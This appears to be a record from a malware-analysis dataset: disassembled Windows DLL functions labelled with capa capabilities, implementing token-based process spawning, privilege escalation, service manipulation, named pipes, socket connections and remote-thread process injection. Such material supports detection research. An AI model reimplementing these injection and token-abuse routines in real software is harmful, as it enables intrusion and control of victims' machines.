joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180010700
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
mov eax, 0x1070
call fcn.18001b4a0
sub rsp, rax
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rsp + 0x1060], rax
mov rdi, rcx
mov rsi, r8
mov ebx, 0x7fe
lea rcx, [rsp + 0x862]
xor r12d, r12d
xor edx, edx
mov r8d, ebx
mov rbp, r9
mov word [rsp + 0x860], r12w
call fcn.18001b160
lea rcx, [rsp + 0x62]
mov r8d, ebx
xor edx, edx
mov word [rsp + 0x60], r12w
call fcn.18001b160
mov rcx, qword [0x180046328]
mov r15d, r12d
test rcx, rcx
je 0x1800108c3
cmp dword [rsp + 0x10d8], r12d
jne 0x1800108c3
mov r14d, dword [rsp + 0x10d0]
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r14d
lea ebx, [r12 + 1]
xor r9d, r9d
mov r8, rdi
xor edx, edx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
jne 0x180010872
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x1800108a9
xor r8d, r8d
mov rdx, rdi
xor ecx, ecx
mov qword [rsi + 0x10], r12
call fcn.18001b950
cmp rax, 0x400
ja 0x180010896
lea r8, [rax + 1]
lea rcx, [rsp + 0x860]
mov rdx, rdi
call fcn.18001b950
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp eax, 0x400
jae 0x180010839
lea rdx, [rsp + 0x60]
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea r15, [rsp + 0x60]
mov rcx, qword [0x180046328]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], r15
lea r9, [rsp + 0x860]
lea edx, [r8 + 2]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
je 0x1800108a9
mov eax, ebx
mov rcx, qword [rsp + 0x1060]
xor rcx, rsp
call fcn.18001ac30
add rsp, 0x1070
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
lea rcx, str.could_not_run_command__w__token__because_of_its_length_of__d_bytes_
mov rdx, rax
call fcn.18000d9a8
xor eax, eax
jmp 0x180010874
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.could_not_spawn__s__token_:__d
mov rdx, rdi
mov r8d, eax
call fcn.18000d9a8
jmp 0x1800108a5
mov eax, dword [rsp + 0x10d0]
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], eax
mov ebx, 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180010872
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.could_not_spawn__s:__d
jmp 0x1800108b6
Function at 0x180010914
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x38]
sub rsp, 0x110
mov r13, rcx
xor edi, edi
mov ecx, 0xa000
mov r15, r9
mov rbx, r8
mov r12, rdx
mov esi, edi
call fcn.180013f54
mov edx, 0x4000
mov rcx, rax
mov r14, rax
call fcn.180014038
mov edi, 0x400
mov rcx, r14
mov edx, edi
mov qword [rsp + 0x70], rax
call fcn.180014038
mov edx, edi
mov rcx, r14
mov qword [rsp + 0x78], rax
call fcn.180014038
mov edx, edi
mov rcx, r14
mov qword [rsp + 0x60], rax
call fcn.180014038
mov edx, edi
mov rcx, r14
mov qword [rsp + 0x68], rax
call fcn.180014038
lea r8d, [rsi + 0x68]
lea rcx, [rbp - 0x60]
xor edx, edx
mov rdi, rax
call fcn.18001b160
xor eax, eax
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x68
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rdx, qword [rsp + 0x70]
xor eax, eax
mov r8d, 0x4000
mov rcx, r15
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], ax
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x50], rax
call fcn.180010af8
mov rdx, qword [rsp + 0x60]
mov r8d, 0x400
mov rcx, r12
call fcn.180010af8
mov rdx, qword [rsp + 0x68]
mov r8d, 0x400
mov rcx, rbx
call fcn.180010af8
mov rbx, qword [rsp + 0x78]
mov r8d, 0x400
mov rdx, rbx
mov rcx, r13
call fcn.180010af8
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, 0x400
cmp eax, ecx
jae 0x180010a5e
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov rsi, rdi
mov r8, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
xor edi, edi
lea rax, [rbp - 0x80]
lea r9d, [rdi + 1]
mov rdx, rbx
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 0x8000400
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
jne 0x180010acd
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.could_not_run__s_as__s_s:__d
mov r9, r12
mov r8, r13
mov rdx, r15
mov dword [rsp + 0x20], eax
call fcn.18000d9a8
mov rcx, r14
call fcn.180013fd0
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x180010b50
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov esi, edx
mov rdi, rcx
lea r14d, [r8 + 2]
lea edx, [r8 + 1]
mov ecx, r14d
call sub.WS2_32.dll_socket
or rbp, 0xffffffffffffffff
mov rbx, rax
cmp rax, rbp
jne 0x180010b9a
mov rax, rbp
jmp 0x180010bf4
mov rcx, rdi
call sub.WS2_32.dll_gethostbyname
test rax, rax
je 0x180010b95
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x24]
mov rdx, qword [rdx]
call fcn.18001ac60
movzx ecx, si
mov word [rsp + 0x20], r14w
call sub.WS2_32.dll_htons
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbx
mov word [rsp + 0x22], ax
call sub.WS2_32.dll_connect
test eax, eax
je 0x180010bf1
mov rcx, rbx
call sub.WS2_32.dll_closesocket
jmp 0x180010b95
mov rax, rbx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.18001ac30
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x180010d30
Capabilities:
Create pipe

Disassembly:
cmp edx, 0x100
jge 0x180010e09
push rbx
sub rsp, 0x150
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rsp + 0x140], rax
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x40]
mov r8, rbx
call fcn.18001ac60
cmp rbx, 0x100
jae 0x180010e0a
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
or rax, 0xffffffffffffffff
lea rcx, [rsp + 0x40]
lea edx, [rax + 4]
lea r9d, [rax + 3]
lea r8d, [rax + 5]
mov byte [rsp + rbx + 0x40], 0
mov qword [0x18003a018], rax
mov qword [0x18003a010], rax
mov qword [0x18003a020], rax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [0x18003a010], rax
test rax, rax
je 0x180010df1
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x180010f54]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x18003a020], rax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.18001ac30
add rsp, 0x150
pop rbx
ret
call fcn.18001b61c
int3
Function at 0x180010d3c
Capabilities:
Create pipe
Create thread

Disassembly:
cmp edx, 0x100
jge 0x180010e09
push rbx
sub rsp, 0x150
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rsp + 0x140], rax
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x40]
mov r8, rbx
call fcn.18001ac60
cmp rbx, 0x100
jae 0x180010e0a
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
or rax, 0xffffffffffffffff
lea rcx, [rsp + 0x40]
lea edx, [rax + 4]
lea r9d, [rax + 3]
lea r8d, [rax + 5]
mov byte [rsp + rbx + 0x40], 0
mov qword [0x18003a018], rax
mov qword [0x18003a010], rax
mov qword [0x18003a020], rax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [0x18003a010], rax
test rax, rax
je 0x180010df1
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x180010f54]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x18003a020], rax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.18001ac30
add rsp, 0x150
pop rbx
ret
call fcn.18001b61c
int3
Function at 0x18001103c
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rbp + 0x30], rax
and qword [rbp + 0x10], 0
mov rdi, rcx
lea rcx, str.SeTcbPrivilege
mov qword [rsp + 0x38], rcx
lea rcx, str.SeCreateTokenPrivilege
lea rax, str.SeDebugPrivilege
mov qword [rsp + 0x40], rcx
lea rcx, str.SeAssignPrimaryTokenPrivilege
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x48], rcx
lea rcx, str.SeLockMemoryPrivilege
xor ebx, ebx
mov qword [rsp + 0x50], rcx
lea rcx, str.SeIncreaseQuotaPrivilege
mov qword [rsp + 0x58], rcx
lea rcx, str.SeUnsolicitedInputPrivilege
mov qword [rsp + 0x60], rcx
lea rcx, str.SeMachineAccountPrivilege
mov qword [rsp + 0x68], rcx
lea rcx, str.SeSecurityPrivilege
mov qword [rsp + 0x70], rcx
lea rcx, str.SeTakeOwnershipPrivilege
mov qword [rsp + 0x78], rcx
lea rcx, str.SeLoadDriverPrivilege
mov qword [rbp - 0x80], rcx
lea rcx, str.SeSystemProfilePrivilege
mov qword [rbp - 0x78], rcx
lea rcx, str.SeSystemtimePrivilege
mov qword [rbp - 0x70], rcx
lea rcx, str.SeProfileSingleProcessPrivilege
mov qword [rbp - 0x68], rcx
lea rcx, str.SeIncreaseBasePriorityPrivilege
mov qword [rbp - 0x60], rcx
lea rcx, str.SeCreatePagefilePrivilege
mov qword [rbp - 0x58], rcx
lea rcx, str.SeCreatePermanentPrivilege
mov qword [rbp - 0x50], rcx
lea rcx, str.SeBackupPrivilege
mov qword [rbp - 0x48], rcx
lea rcx, str.SeRestorePrivilege
mov qword [rbp - 0x40], rcx
lea rcx, str.SeShutdownPrivilege
mov qword [rbp - 0x38], rcx
lea rcx, str.SeAuditPrivilege
mov qword [rbp - 0x30], rcx
lea rcx, str.SeSystemEnvironmentPrivilege
mov qword [rbp - 0x28], rcx
lea rcx, str.SeChangeNotifyPrivilege
mov qword [rbp - 0x20], rcx
lea rcx, str.SeRemoteShutdownPrivilege
mov qword [rbp - 0x18], rcx
lea rcx, str.SeUndockPrivilege
mov qword [rbp - 0x10], rcx
lea rcx, str.SeSyncAgentPrivilege
mov qword [rbp - 8], rcx
lea rcx, str.SeEnableDelegationPrivilege
mov qword [rbp], rcx
lea rcx, str.SeManageVolumePrivilege
mov qword [rbp + 8], rcx
xor ecx, ecx
lea r8, [rbp + 0x24]
mov rdx, rax
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rcx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
lea r8, [rbp + 0x20]
xor r9d, r9d
xor edx, edx
mov rcx, rdi
mov dword [rbp + 0x20], 1
mov dword [rbp + 0x2c], 2
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rax, qword [rsp + rbx*8 + 0x38]
inc rbx
test rax, rax
jne 0x1800111a9
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.18001ac30
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x18001126c
Capabilities:
Create service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x70
mov rdi, rdx
mov rsi, rcx
mov r8d, 0xf003f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
test rax, rax
jne 0x18001129d
xor eax, eax
jmp 0x180011306
and qword [rsp + 0x60], 0
and qword [rsp + 0x58], 0
and qword [rsp + 0x50], 0
and qword [rsp + 0x48], 0
and qword [rsp + 0x40], 0
mov qword [rsp + 0x38], rdi
and dword [rsp + 0x30], 0
mov r9d, 0xf01ff
xor r8d, r8d
mov rdx, rsi
mov rcx, rax
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
test rax, rax
je 0x180011299
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x180011318
Capabilities:
Delete service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
xor edx, edx
mov r8d, 0xf003f
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
test rax, rax
jne 0x180011341
xor eax, eax
jmp 0x18001137f
mov r8d, 0x10000
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
test rax, rax
je 0x18001133d
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x18001133d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x18001138c
Capabilities:
Start service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
xor edx, edx
mov r8d, 0xf003f
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
test rax, rax
jne 0x1800113b5
xor eax, eax
jmp 0x1800113f8
mov r8d, reloc.WS2_32.dll_recv
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
test rax, rax
je 0x1800113b1
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x1800113b1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180011404
Capabilities:
Check for time delay via gettickcount
Query service status
Stop service

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x70
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rsp + 0x60], rax
and dword [rsp + 0x38], 0
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 0x20]
lea rcx, [r11 - 0x3c]
call fcn.18001b160
and dword [rsp + 0x30], 0
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
test rax, rax
je 0x180011510
mov r8d, 0x24
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
test rax, rax
je 0x180011510
lea r8, [rsp + 0x38]
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x180011510
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r8, [rsp + 0x38]
mov r9d, 0x24
mov esi, eax
lea rax, [rsp + 0x30]
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x180011510
mov r14d, 0x7530
cmp dword [rsp + 0x3c], 1
je 0x180011536
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, r14d
ja 0x180011510
mov ecx, dword [rsp + 0x50]
cmp ecx, r14d
cmova ecx, r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x30]
lea r8, [rsp + 0x38]
mov r9d, 0x24
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x1800114c7
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.18001ac30
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
jmp 0x180011512

Function at 0x1800119b8
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor esi, esi
mov r14d, r8d
mov rbp, rdx
cmp qword [0x18003c728], rsi
mov rdi, rcx
jne 0x1800119f6
mov ecx, 0x80004
call fcn.18001aae0
mov qword [0x18003c728], rax
mov ecx, dword [rdi]
call sub.WS2_32.dll_htonl
mov rcx, qword [0x18003c728]
mov dword [rcx], eax
mov ebx, dword [rdi + 4]
cmp ebx, r14d
cmova ebx, r14d
test ebx, ebx
je 0x180011a3e
mov r9, qword [rdi + 8]
mov eax, esi
mov r8d, ebx
add rax, 4
mov edx, 1
add rcx, rax
call fcn.18001bf74
mov rcx, qword [0x18003c728]
sub dword [rdi + 4], eax
add esi, eax
sub ebx, eax
jne 0x180011a14
lea edx, [rsi + 4]
mov r8d, 8
call rbp
mov rdx, rbp
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp fcn.180011970
Function at 0x180011ad0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov rdi, r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x38]
call fcn.180013ff0
lea rcx, [rsp + 0x20]
mov edx, 0x80
call fcn.18000d4c8
lea rcx, [rsp + 0x38]
call fcn.180014000
lea rcx, [rsp + 0x20]
mov edx, eax
call fcn.18000d510
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea rdx, [0x18002aff4]
lea rcx, [rsp + 0x20]
mov r8d, eax
call fcn.18000d544
lea rcx, [rsp + 0x20]
call fcn.18000d540
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d5a4
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000d4a4
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
Function at 0x180011e9c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rbp, rdx
xor r8d, r8d
xor edx, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ebx, eax
test eax, eax
jne 0x180011ece
xor eax, eax
jmp 0x180011ef0
inc eax
cmp eax, edi
jae 0x180011eca
mov r8, rdi
xor edx, edx
mov rcx, rbp
call fcn.18001b160
mov r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180011f08
Capabilities:
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
shr eax, 4
and eax, 1
add rsp, 0x28
ret

Function at 0x180012270
Capabilities:
Create thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov edi, edx
mov rsi, rcx
call fcn.180012674
and qword [rsp + 0x30], 0
movsxd rbp, dword [rsp + 0x70]
mov r14, qword [rsp + 0x78]
and dword [rsp + 0x28], 0
add rbp, rax
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov r9, rbp
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1800122f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8, r14
mov rdx, rbp
mov rcx, rsi
mov ebx, eax
call fcn.18001294c
test eax, eax
jne 0x1800122f1
lea rcx, str.could_not_create_remote_thread_in__d:__d
mov r8d, ebx
mov edx, edi
call fcn.18000d9a8
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180012430
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x2f]
sub rsp, 0x100
xor r12d, r12d
mov r14, r9
mov r15d, r8d
mov esi, r12d
mov edi, edx
call fcn.18001760c
lea ebx, [r12 + 0x68]
lea rcx, [rbp - 0x59]
xor edx, edx
mov r8d, ebx
call fcn.18001b160
xor eax, eax
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x48]
mov r9d, 0x100000
mov dword [rbp - 0x59], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x60], r12
mov dword [rsp + 0x58], 0x18
mov dword [rsp + 0x68], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x50]
mov ecx, dword [rbp + 0x7f]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x59]
mov qword [rbp - 1], rax
mov qword [rbp + 7], rax
mov dword [rbp - 0x1d], 0x101
mov word [rbp - 0x19], r12w
mov qword [rbp - 9], r12
call fcn.180012740
test eax, eax
je 0x1800125b9
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x18001253a
call fcn.180017628
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [rsp + 0x40]
lea rcx, str.could_not_open_process__d:__d
mov r8d, eax
call fcn.18000d9a8
jmp 0x1800125be
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, dword [rbp + 0x67]
test r9d, r9d
je 0x180012561
mov r8, qword [rbp + 0x5f]
mov edx, dword [rsp + 0x40]
mov rcx, rbx
call fcn.180012674
mov rsi, rax
mov r9d, dword [rbp + 0x57]
mov edx, dword [rsp + 0x40]
mov r8, r14
mov rcx, rbx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], r15d
call fcn.180012270
test edi, edi
je 0x18001258e
mov rcx, qword [rsp + 0x48]
mov edx, edi
call fcn.180013000
movups xmm0, xmmword [rsp + 0x30]
movsd xmm1, qword [rsp + 0x40]
mov r9, qword [rbp + 0x6f]
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
lea rcx, [rbp - 0x79]
movaps xmmword [rbp - 0x79], xmm0
movsd qword [rbp - 0x69], xmm1
call fcn.180013074
call fcn.180017628
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x180012674
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
lea eax, [r9 + 0x400]
mov ebx, r9d
mov r14, r8
xor edx, edx
mov r9d, 0x1000
movsxd r8, eax
mov rbp, rcx
xor edi, edi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1800126d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [rbx + 0x80]
lea rcx, str.could_not_allocate__d_bytes_in_process:__d
mov r8d, eax
call fcn.18000d9a8
xor eax, eax
jmp 0x180012716
test ebx, ebx
jle 0x180012713
movsxd rcx, edi
mov eax, ebx
sub eax, edi
lea r8, [rcx + r14]
lea rdx, [rcx + rsi]
movsxd r9, eax
lea rax, [rsp + 0x68]
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180012729
mov eax, dword [rsp + 0x68]
add edi, eax
test eax, eax
je 0x1800126d4
cmp edi, ebx
jl 0x1800126dc
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.could_not_write_to_process_memory:__d
mov edx, eax
call fcn.18000d9a8
jmp 0x1800126d4

Function at 0x1800132f0
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x40
and dword [rax + 0x20], 0
lea rax, [rax - 0x18]
mov edi, r8d
mov rbp, rdx
xor ebx, ebx
xor r9d, r9d
and qword [rax - 8], rbx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
jne 0x180013337
or eax, 0xffffffff
jmp 0x180013399
cmp dword [rsp + 0x30], ebx
jbe 0x180013395
cmp ebx, edi
jae 0x180013395
and qword [rsp + 0x20], 0
mov r8d, edi
lea r9, [rsp + 0x68]
sub r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x68]
and qword [rsp + 0x28], 0
add ebx, dword [rsp + 0x68]
add rbp, rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x180013332
cmp dword [rsp + 0x30], 0
ja 0x18001333d
mov eax, dword [rsp + 0x68]
